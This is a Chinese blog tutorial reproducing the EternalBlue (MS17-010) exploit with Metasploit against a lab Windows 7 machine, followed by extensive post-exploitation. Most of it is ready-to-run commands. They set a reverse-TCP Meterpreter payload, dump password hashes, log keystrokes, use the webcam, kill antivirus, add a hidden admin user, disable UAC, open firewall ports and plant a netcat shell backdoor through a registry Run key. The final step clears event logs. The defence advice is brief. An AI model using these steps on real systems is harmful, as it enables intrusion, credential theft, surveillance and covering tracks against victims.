草庐IT

永恒之蓝漏洞复现(ms17-010)

flyhite 2023-07-11 原文

文章目录


一、永恒之蓝(Eternal Blue)

永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

二、复现环境

攻击机:kali (192.168.203.130)
靶机:Windows 7 (192.168.203.134)

三、复现过程

1.主机发现

nmap进行ip端口扫描:

nmap -T4 -A -v 192.168.203.134#靶机ip地址

扫描到开放了445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。

2.进入MSF框架

msfconsole

search ms17-010


通过这两个工具,其中
0 exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般两者配合使用,前者先扫描,若是显示有漏洞,再进行攻击。
3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17-010漏洞。

3.使用ms17-010扫描模块,对靶机进行扫描

3.1使用模块

该模块不会直接在攻击机和靶机之间建立访问,他们只负责执行扫描,嗅探,指纹识别的相关功能,以辅助渗透测试。

use auxiliary/scanner/smb/smb_ms17_010

3.2查看模块需要配置的参数

show options


Required栏中选项为yes的说明对应的Current Setting栏需要填写,如RHOSTS。

3.3设置攻击目标

RHOSTS 参数是要探测主机的ip或ip范围
设置攻击目标ip:

set rhosts  192.168.203.134

3.4再次查看配置参数

show options 

3.5执行扫描

run


显示主机可能容易受到 MS17-010 的攻击! - Windows 7 x64(64 位)

4.使用ms17-010攻击模块,对靶机进行攻击

use exploit/windows/smb/ms17_010_eternalblue

4.1查看这个漏洞的信息

info

4.2查看可攻击的系统平台

这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统

show targets


这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。

4.3查看攻击载荷

攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

show payloads

该命令可以查看当下漏洞利用模块下可用的所有Payload

4.4设置攻击载荷(默认windows/x64/meterpreter/reverse_tcp)

set payload windows/x64/meterpreter/reverse_tcp

4.5查看参数配置

show options

4.6设置目标攻击目标ip

set rhosts 192.168.203.134(如果有多个攻击目标ip间直接用空格隔开就行)

4.6设置监听主机(kali)

set LHOST 192.168.203.130

4.7执行攻击

exploit(run)

攻击成功,显示下图:
在这里可以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。

5.后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
clearev                       #清除日志

示例:

查看主机系统信息

sysinfo

查看主机ip

ipconfig

查看用户身份

getuid


用户身份为: NT AUTHORITY\SYSTEM,这个也就是Windows的系统权限

获得shell控制台

shell

想要从目标主机shell退出到meterpreter

exit

获取截屏

screenshot




下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

示例:

获取用户密码

run windows/gather/smart_hashdump或者hashdump



在网上搜索MD5破解即可查到相关破解网站:

创建新的管理员账户

进入shell控制台

在目标主机上创建一个名为hack的用户,密码为123

net user hack 123 /add

将hack加入到windows 7的本地管理员组中,以便获得更大权限

net localgroup administrators hack /add

查看本地用户

net user

查看本地管理员

net localgroup administrators


可以看到hack已经被添加到windows管理员组中。

开启远程桌面

运用getuid脚本开启目标主机远程桌面:

run getgui -e或者run post/windows/manage/enable_rdp


在kali终端输入

rdesktop 192.168.203.134#靶机ip地址

即可打开远程桌面

6.关闭主机防护策略并开启后门

6.1查看用户及密码

hashdump

6.2创建防火墙规则

创建一条防火墙规则允许4444端口访问网络,方便后期操作

shell

netsh firewall add portopening TCP 4444 "hack" ENABLE ALL


新建一个防火墙规则,允许443端口访问网络

netsh firewall add portopening TCP 443 "hack" ENABLE ALL

6.3关闭UAC

其原理就是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
-f 强制修改注册表项

6.4开启默认共享

开启系统主机的默认共享,默认共享对于主机文件共享非常方便,也方便黑客利用这个功能,远程执行命令。

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f


exit返回meterpreter,输入background将永恒之蓝拿到的会话保持到后台。

6.5使用扫描模块

use exploit/windows/smb/psexec

6.6查看需要设置的参数

show options

设置靶机ip:set rhosts 192.168.203.134
设置靶机账户名:set smbuser hack
设置靶机密码:set smbpass (hack账户密码hash值)
设置靶机工作组:set smbdomain WORKGROUP
运行:run

6.7上传后门程序

为了让连接持久话,我们可以上传后门程序,这样就能保持会话长久建立。在kali 里面如下路径有我们的后门程序nc 俗称瑞士军刀。我们可以将它上传到目标机c盘里面

上传nc到c盘windows文件夹中,如果想更隐蔽一点,可以在往文件夹里面上传

打开靶机window文件夹可以看到成功上传文件。

6.8设置键值

当目标机开机,程序后台运行,且监听端口为443,这个端口就是之前在shell中创建的新防火墙规则:允许443端口访问网络。

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'

6.9重启目标主机

reboot


在kali终端就可以直接使用

nc -v 192.168.203.134 443

连接了。

这样就可以直接通过nc监听靶机。
至此,永恒之蓝的攻击复现就完成了,后续其他的进一步攻击可以向上传nc一样上传病毒。

7.清除事件日志

由于攻击过程中的所有操作都会被记录在目标系统的日志文件之中,因此需要在完成攻击之后使用

clearev  

命令来清除事件日志:

四、漏洞防御

关闭445端口。
打开防火墙,安装安全软件。
安装对应补丁

参考文章

https://blog.csdn.net/qq_44159028/article/details/104044002
https://cxymm.net/article/dreamthe/121375464#%C2%A03.%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D%E5%88%A9%E7%94%A8%E4%B9%8B%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%99%BB%E5%BD%95%E3%80%82

复现时出现的问题

在复现时曾经使用过Windows8和Windows10来作为靶机,但是在使用ms17-010攻击模块

use exploit/windows/smb/ms17_010_eternalblue

时,却出现这样的错误提示:
Windows8

Started reverse TCP handler on 192.168.203.130:4444 
192.168.203.132:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
192.168.203.132:445   - Host is likely VULNERABLE to MS17-010! - Windows 8 9200 x64 (64-bit)
192.168.203.132:445   - Errno::ECONNRESET: Connection reset by peer
192.168.203.132:445   - Scanned 1 of 1 hosts (100% complete)
192.168.203.132:445 - The target is vulnerable.
192.168.203.132:445 - shellcode size: 1283
192.168.203.132:445 - numGroomConn: 12
192.168.203.132:445 - Target OS: Windows 8 9200
192.168.203.132:445 - CommunicationError encountered. Have you set SMBUser/SMBPass?
192.168.203.132:445 - Exploit failed with the following error: Read timeout expired when reading from the Socket (timeout=30)
Exploit completed, but no session was created.

Windows10

搜索半天没弄明白,以后有机会再研究。

有关永恒之蓝漏洞复现(ms17-010)的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  3. ruby - 无法激活 susy-2.1.1,因为 sass-3.2.17 与 sass 冲突 (~> 3.3.0) - 2

    我已经安装了最新版本的compass、sass和susy。但我仍然收到此错误:Unabletoactivatesusy-2.1.1,becausesass-3.2.17conflictswithsass(~>3.3.0)有人知道这个Ruby是如何工作的吗?这是我安装的gem的列表:***LOCALGEMS***CFPropertyList(2.2.0)chunky_png(1.3.0)compass(0.12.4)compass-core(1.0.0.alpha.19)compass-import-once(1.0.4)compass-rails(1.1.3)fssm(0.2.10)l

  4. micropython复现经典单片机项目(二)可视化音频 频谱解析(基本搞定) - 2

    本人是音乐爱好者,从小就特别喜欢那个随着音乐跳动的方框效果,就是这个:arduino上一大把对,我忍你很久了,我就想用mpy做,全网没有,行我自己研究。果然兴趣是最好的老师,我之前有篇博客专门讲音频,有兴趣的可以回顾一下。提到可视化频谱,必然绕不开fft,大学学过这玩意,当时一心玩,老师讲的一个字都么听进去,网上教程简略扫了一下,大该就是把时域转频域的工具,我大mpy居然没有fft函数,奶奶的,先放着。音频信息如何收集?第一种傻瓜式的ADC,模拟转数字,原始粗暴,第二种,I2S库,我之前博客有讲过,数据是PCM编码。然后又去学PCM编码,一学豁然开朗,舒服,以代码为例:audio_in=I2S

  5. ruby - 无法通过 SMTP 使 ActionMailer 与 MS Exchange 一起工作 - 2

    这是我的简单测试程序(使用ActionMailer3.0.8,Ruby1.9.2p180MacOSX):require'rubygems'require'action_mailer'ActionMailer::Base.delivery_method=:smtpActionMailer::Base.smtp_settings={:address=>"my_exchange_server",:port=>25,:domain=>'my_domain.org',:authentication=>:login,:user_name=>'my_user',:password=>'my_pass

  6. ruby - Fedora 17 上的 Heroku Toolbelt - 2

    我正在尝试执行教程的heroku设置部分http://ruby.railstutorial.org/.但是在https://toolbelt.heroku.com/,我注意到Fedora没有.rpm,所以我尝试分别安装Foreman和HerokuCLI。Foreman和Git安装正常,但我在使用HerokuCLI时遇到问题。当我尝试做的时候:$yuminstallrubygem-heroku然后简单地做$heroku我得到错误:/usr/share/rubygems/rubygems/dependency.rb:247:in`to_specs':Couldnotfindheroku(>

  7. ruby - $SAFE >= 1 的 ruby​​ 中可能存在哪些漏洞? - 2

    Ruby'ssafemode不允许通过潜在危险的操作使用受污染的数据。它的级别各不相同,0表示禁用,然后1-4表示安全级别。启用安全模式时可能存在哪些漏洞?您知道在启用安全模式时发给ruby​​程序的任何CVE编号吗?什么CWEViolations(或cwe系列)是否可以启用安全模式? 最佳答案 所有应用程序级别的漏洞都完全不受$SAFE级别的影响。不通过“不安全操作”的注入(inject)攻击,例如跨站点脚本和SQL注入(inject)。这或多或少包括Web应用程序的每个漏洞类别,可能除了本地和远程文件包含。查看OWASPTop1

  8. ruby-on-rails - 如何在 Ruby 中将 MS Excel 日期从 float 转换为日期格式? - 2

    尝试在ruby​​脚本中使用roogem解析XLSX文件。在Excel中,日期以DDDDD.ttttt格式存储为float或整数,从1900-01-00(00no01)开始计算。因此,为了转换诸如40396之类的日期-您将使用1900-01-00+40396,您应该得到2010-10-15,但我得到的是2010-08-08。我正在使用active_support/time进行这样的计算:Time.new("1900-01-01")+40396.days我的计算有误还是主动支持有问题?我在Windows7+最新的active_supportgem(3.2.1)上运行ruby​​1.9.3

  9. ruby 和 accdb(MS Access ) - 2

    如果我有一个基本的windowsxp系统、ruby和一个msaccess2007文件(例如c:/foo/bar.accdb)文件,读取该.accdb文件的侵入性最小的方法是什么。xp系统需要安装什么。具体的连接字符串是什么。 最佳答案 按照这些思路应该可以帮助您入门。当然,您需要修改一些值,例如;路径、文件名、SQL语句等使用Jet引擎的MDB文件(Access2003格式和更早版本)require'win32ole'connection=WIN32OLE.new('ADODB.Connection')connection.Open

  10. Wordpress漏洞复现 - 2

    漏洞复现cms漏洞环境搭建漏洞复现cms1.内容管理系统(contentmanagementsystem,CMS),是一种位于WEB前端(Web服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。2.常见的cms系统国外的:Wordpress,Drupal,Joomla,这是国外最流行的3大CMS。国内则是DedeCMS和帝国,PHPCMS等。漏洞环境搭建一、

随机推荐